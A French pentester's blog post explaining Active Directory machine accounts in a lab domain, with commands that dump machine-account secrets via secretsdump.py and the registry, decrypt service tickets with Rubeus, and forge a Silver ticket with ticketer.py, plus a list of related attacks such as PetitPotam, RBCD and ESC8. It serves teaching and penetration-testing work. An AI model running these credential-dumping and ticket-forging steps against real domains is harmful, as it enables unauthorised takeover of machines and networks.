Les comptes machines dans Active DirectoryLes comptes machines dans Active Directory

Introduction

Ces dernières années, le concept de compte machine dans Active Directory a gagné en popularité. Cela est notamment dû à l’utilisation de plus en plus fréquente de ces comptes dans des scénarios de compromission. On peut par exemple citer l’attaque Shadow Credentials expliquée dans cet article.

J’ai mis du temps à comprendre cette notion de compte machine (et je suis probablement loin d’en avoir compris toutes les subtilités). Durant ma carrière de pentester j’ai croisé beaucoup de collègues pour qui ce concept était très flou. A fortiori, c’est encore plus vrai pour des administrateurs systèmes, qui ne comprennent pas forcément les caractéristiques et les dangers de ces comptes.

Le but de cet article n’est pas de décrire chaque caractéristique et fonctionnement d’un compte machine, mais plutôt de résumer en quelques paragraphes ce que j’aurais aimé que l’on m’explique il y a plusieurs années lorsque j’ai commencé à réaliser des pentests sur Active Directory.

Setup

Pour cet article, j’utilise le lab suivant :

• Machines :
  • DC01 (192.168.56.3) : Contrôleur de domaine
  • WORKSTATION1 (192.168.56.4) : Workstation Windows reliée au domaine
• Nom de domaine : domain.local

Qu’est-ce qu’un compte machine ?

D’après Microsoft :

Computer account: Identifies computers that belong to a domain. A computer account is commonly referred to as a « machine account ». Every Windows computer that joins a domain has a computer account. Computer accounts provide a means for authenticating and auditing computer access to the network and to domain resources. Each computer account is unique.

Ainsi, chaque machine qui rejoint le domaine possède un compte associé (le compte machine), qui permet à cette machine de communiquer sur le réseau et notamment d’accéder à des ressources sur domaine. Le nom de ce compte est le nom de la machine, suivi d’un ‘$’.  Par exemple dans le lab, la machine WORKSTATION1 est associée au compte machine WORKSTATION1$. Le mot de passe de ce compte est stocké à la fois sur le contrôleur de domaine et sur la machine.

Sur le contrôleur de domaine

Le mot de passe est stocké dans la base NTDS.DIT, comme pour les comptes utilisateurs :

secretsdump.py 'domain.local'/'domainadmin1':'Lab123456*'@dc01.domain.local -just-dc-user WORKSTATION1$

Sur la machine

Le mot de passe est stocké dans les secrets du registre :

Get-ChildItem -Path 'Registry::HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\$MACHINE.ACC'

secretsdump.py 'domain.local'/'domainadmin1':'Lab123456*'@workstation1.domain.local

La gestion du mot de passe n’est pas le sujet de cet article, cela est décrit en détail ici par exemple.

Le point clé dans la définition du compte machine est qu’il permet « d’accéder à des ressources sur le domaine ». Par exemple, le compte machine sera utilisé par la machine pour aller récupérer des informations sur un serveur MECM (Microsoft Configuration Manager). On peut l’illustrer en tentant d’accéder à un répertoire partagé SMB avec un processus lancé en tant que LocalSystem (NT AUTHORITY\SYSTEM) :

Quels sont les droits d’un compte machine ?

Par défaut, au niveau du domaine, un compte machine est membre d’un seul groupe : « Ordinateurs du domaine » (RID 515) :

Il ne possède aucun droit privilégié sur le domaine. Qu’en est-il des droits de ce compte sur la machine associée ? Concrètement, est-ce que le compte WORKSTATION1$ est admin de la machine WORKSTATION1 ? Et bien non pas vraiment, enfin oui, mais c’est plus compliqué. Par défaut, le compte machine n’est pas présent dans le groupe « Administrateurs » local de la machine :

La raison qui explique pourquoi ce compte est si important et privilégié est liée à Kerberos. Je ne vais pas rappeler ici le fonctionnement de Kerberos, j’invite le lecteur à lire cet article pour cela.

Kerberos utilise la notion de service. Un service est défini par un SPN (Service Principal Name) et associé à un compte (le compte de service). Le secret de ce compte est utilisé pour chiffrer et donc sécuriser les échanges Kerberos. Pour l’ensemble des services built-in proposés par une machine ou un serveur Windows (SMB, LDAP, DNS, WinRM, RDP, etc.), le compte associé est le compte machine. On peut le voir en accédant à un partage réseau de la machine workstation1 avec un compte standard :

runas /user:domain.local\john.doe /netonly powershell.exe
net view \\workstation1.domain.local
.\Rubeus.exe dump /nowrap

Avec la commande describe de Rubeus on peut déchiffrer le ticket de service (TGS) obtenu, avec le secret du compte machine, et ainsi confirmer l’association entre le service et le compte machine :

.\Rubeus.exe describe /ticket:TGS_BASE64 /serviceuser:WORKSTATION1$  /servicekey:408a1459c6e7b69d3c0e6828f7b9988d2472e05603c719b8fb12162067d0c326

Ainsi, la compromission d’un compte machine permet de réaliser une attaque de type « Silver ticket » sur les services de la machine.

Cas concret sur le service CIFS

Pour illustrer le paragraphe précédent, prenons l’exemple du service CIFS (partage de fichiers). Tout d’abord faisons une demande de TGS pour accéder au service CIFS de la machine WORKSTATION1 avec le compte WORKSTATION1$ :

getST.py -spn 'cifs/workstation1.domain.local' -aesKey 408a1459c6e7b69d3c0e6828f7b9988d2472e05603c719b8fb12162067d0c326 -dc-ip 192.168.56.3 domain.local/'WORKSTATION1$'

On peut donc se connecter au service, mais sans droit particulier, ce qui est normal puisque comme nous l’avions expliqué, le compte machine n’a pas de droit particulier sur la machine. On peut le vérifier en listant le contenu du ticket :

describeTicket.py WORKSTATION1\$.ccache --aes 408a1459c6e7b69d3c0e6828f7b9988d2472e05603c719b8fb12162067d0c326

Maintenant, forgeons un « Silver ticket », avec le secret du compte machine pour le service CIFS :

ticketer.py -aesKey 408a1459c6e7b69d3c0e6828f7b9988d2472e05603c719b8fb12162067d0c326  -domain domain.local -spn cifs/workstation1.domain.local -domain-sid S-1-5-21-1176280878-873389708-2045024501 'WORKSTATION1$'

Puisque le compte associé au service cifs/workstation1.domain.local est le compte machine WORKSTATION1$, l’attaque « Silver ticket » fonctionne et nous avons accès en administrateur au service.

Pour information, cet article donne l’association entre les services les plus utiles pour les attaquants et les SPN correspondants (très utile pour un pentester).

Pourquoi les comptes machines sont populaires ?

Comme dit au début de cet article, les comptes machines sont activement exploités par les attaquants en ce moment, voici quelques raisons qui expliquent cela :

• Compromettre un compte machine = compromettre la machine associée (comme décrit dans cet article) ;
• Par défaut, il est possible d’ajouter 10 machines au domaine (MachineAccountQuota) ;
• Il existe des méthodes considérées par Microsoft comme « Won’t Fix » permettant de forcer une machine à s’authentifier avec le compte machine vers une machine arbitraire (Ex: PetitPotam) ;
• Contrairement aux comptes utilisateurs, les comptes machines peuvent modifier leur attribut msDS-KeyCredentialLink (attaque Shadow Credentials)
• Les comptes machines peuvent modifier leur attribut msDS-AllowedToActOnBehalfOfOtherIdentity et donc être la cible de l’attaque RBCD. Les comptes machines peuvent aussi être utilisés comme valeur pour cet attribut et donc devenir un outil pour exploiter d’autres comptes ;
• Par défaut, un template de certificat (ADCS) est disponible pour les machines, ce qui permet d’exploiter les comptes machines via ESC8 par exemple ;
• Les comptes machines possèdent un accès particulier au serveur MECM.

Conclusion

La compréhension des comptes machines dans l’Active DIrectory a été grandement améliorée ces dernières années. De nombreux scénarios exploitant ces comptes ont été découverts et participent à la compromission de la quasi totalité des réseaux internes que nous auditons chez Mobeta. Il est fort probable que d’autres techniques exploitant ces comptes seront découvertes dans le futur et il est donc important de se tenir à jour sur les méthodes d’exploitation (pour les pentester) et les méthodes de défense (pour les équipes défensives).

Lors de nos tests d’intrusion interne chez Mobeta, nous fournissons des recommandations à l’état de l’art pour se protéger des attaques associées aux comptes machines.